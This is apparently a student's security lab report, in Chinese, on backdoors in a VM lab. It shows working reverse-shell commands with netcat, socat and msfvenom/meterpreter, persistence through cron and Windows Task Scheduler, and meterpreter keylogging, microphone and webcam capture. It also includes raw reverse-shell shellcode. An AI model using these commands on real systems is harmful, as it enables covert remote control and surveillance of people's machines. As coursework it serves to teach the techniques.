预备工作
- 很多博客都说要配置桥接以达到主机和虚拟机通信的效果,但其实 Nat 模式就可以达到这个效果,我用的是 Nat 模式。
- 虚拟机安装 metasploit,这个框架默认的数据库是 postgresql,终端报创建数据库相关错误的,和我一样重装 postgresql 吧……
- 打开 windows10 麦克风和摄像头使用权限(在设置中),关闭所有杀毒软件。
实验
一、使用netcat获取主机操作Shell,cron启动
nc
命令
-l (listen) 表示监听
-p (port) 指定端口
-e (execute) 指定可执行数据流
cron
定时任务
按此格式设置
m分钟 h小时 dom日期 mon月 dow周几 command执行的命令
- 步骤
-
设置 cron,输入 crontab -e,选择
nvim
编辑配置文件
-
设置在每个小时的第32分钟执行后面的那条指令。(据我观察第32分钟后这个进程就会一直跑下去,和我想象的不一样)
-
到了32分,上面的那条指令就会执行,此时 windows10 获得 shell
-
二、使用socat获取主机操作Shell, 任务计划启动
-
socat
命令socat <addr> <addr>
在两个地址间形成的是一个 双向通道 ,类似于nodejs
中的pipe
,可以边读边写socat -u
命令可以指定数据流的方向,即一个单项通道-
以下是部分标识 - STDIN,STDOUT 表示标准输入输出 TCP:: 建立一个 TCP 连接作为数据流,TCP 也可以替换为 UDP TCP-LISTEN: 建立一个 TCP 监听端口,TCP 也可以替换为 UDP EXEC: 执行一个程序作为数据流
- 具体例子可以看这篇博客
https://www.hi-linux.com/posts/61543.html
-
步骤
-
设置windows10任务计划程序。搜索管理工具,点击任务计划程序
-
设置触发器(触发的时间与频率)
-
设置操作,添加可执行文件(socat.exe)的文件路径及参数。相当于 执行
socat exec:cmd.exe,pty tcp:192.168.80.139:8888
。注意,exec:
后面必须要加上pty
,否则会报找不到管道
的错误。具体解释:Generates a pseudo terminal (pty) and uses its master side. Another process may open the pty's slave side using it like a serial line or terminal. (example). If both the ptmx and the openpty mechanisms are available, ptmx is used (POSIX)
。翻译成中文仍不明白它在说什么,尴尬。
-
在 14:49 时,此任务触发。我们可以在任务列表中找到这个进程
-
linux 上启动监听
socat - tcp-listen:8888
,获得windows shell
-
删除此任务
-
三、使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
-
生成后门文件
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.80.139 LPORT=8888 -f exe > mt_backdoor.exe
参数说明详见实验指导
-
使用
socat
将可执行文件发送至 windows虚拟机开启监听
windows 使用
.socat.exe -u tcp:192.168.80.139:2000 open:mt_backdoor.exe,create
接收可执行文件
-
虚拟机开启监听
-
windows terminal 上运行
.mt_backdoor.exe
,linux 平台获得远程监听 shell
四、使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
-
查看
arp 缓存
-
sysinfo
查看系统信息
-
keyscan_start
开始抓取击键记录,keyscan_dump
输出击键记录,keyscan_stop
停止
-
record_mic
获取主机麦克风内容,-d
指定录制时长
-
webcam_snap
获取使用摄像头拍摄
-
shell
可以获取交互式shell
-
使用
getsystem
提权windows10失败。别人的博客说要利用其他的漏洞(windows/local/bypassuac
),菜鸟表示目前没看懂。
五、使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell
-
使用如下shellcode
xc0xd6xffxffx31xc0x31xdbx31xc9x31xd2x66xb8x67x01xb3x02xb1x01xcdx80x89xc3xb8x80xffxffxfex83xf0xffx50x66x68x11x5cx66x6ax02x89xe1xb2x10x31xc0x66xb8x6ax01xcdx80x85xc0x75x24x31xc9xb1x02x31xc0xb0x3fxcdx80x49x79xf9x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x31xc9x31xd2xb0x0bxcdx80xb3x01x31xc0xb0x01xcdx80
-
前四个字节( retaddr )应覆盖为
shellcode
在内存中的地址,方法同实验一,这里就不截图了。 -
开启服务端监听
-
注入shellcode
-
设置
msf
并获得结果- use exploit/multi/handler
- set payload linux/x86/shell_reverse_tcp
- set LHOST 127.0.0.1
- set LPORT 4444
- exploit
六、思考与总结
1、基础问题回答
-
例举你能想到的一个后门进入到你系统中的可能方式?
安装的第三方软件可能包含后门。下载的图片也可能包含后门
-
例举你知道的后门如何启动起来(win及linux)的方式
- linux: cron定时任务
- windows: 任务计划程序,自启动项
-
Meterpreter有哪些给你映像深刻的功能
screenshare
可以实时分享屏幕,虽然效果很糟糕- 可以调用
ruby shell
,这么复杂的工具竟然是用ruby写的
-
如何发现自己有系统有没有被安装后门
- 查看端口占用情况,注意被占用的过大的端口
- 查看自启动项
- 杀毒软件检测
2、实验总结体会
除了提权(未解决)之外没有遇到什么阻碍。做实验时觉得新奇好玩,现在想想还是挺复杂的,meterpreter 真的是对着指导书输指令,输完了就忘了好多。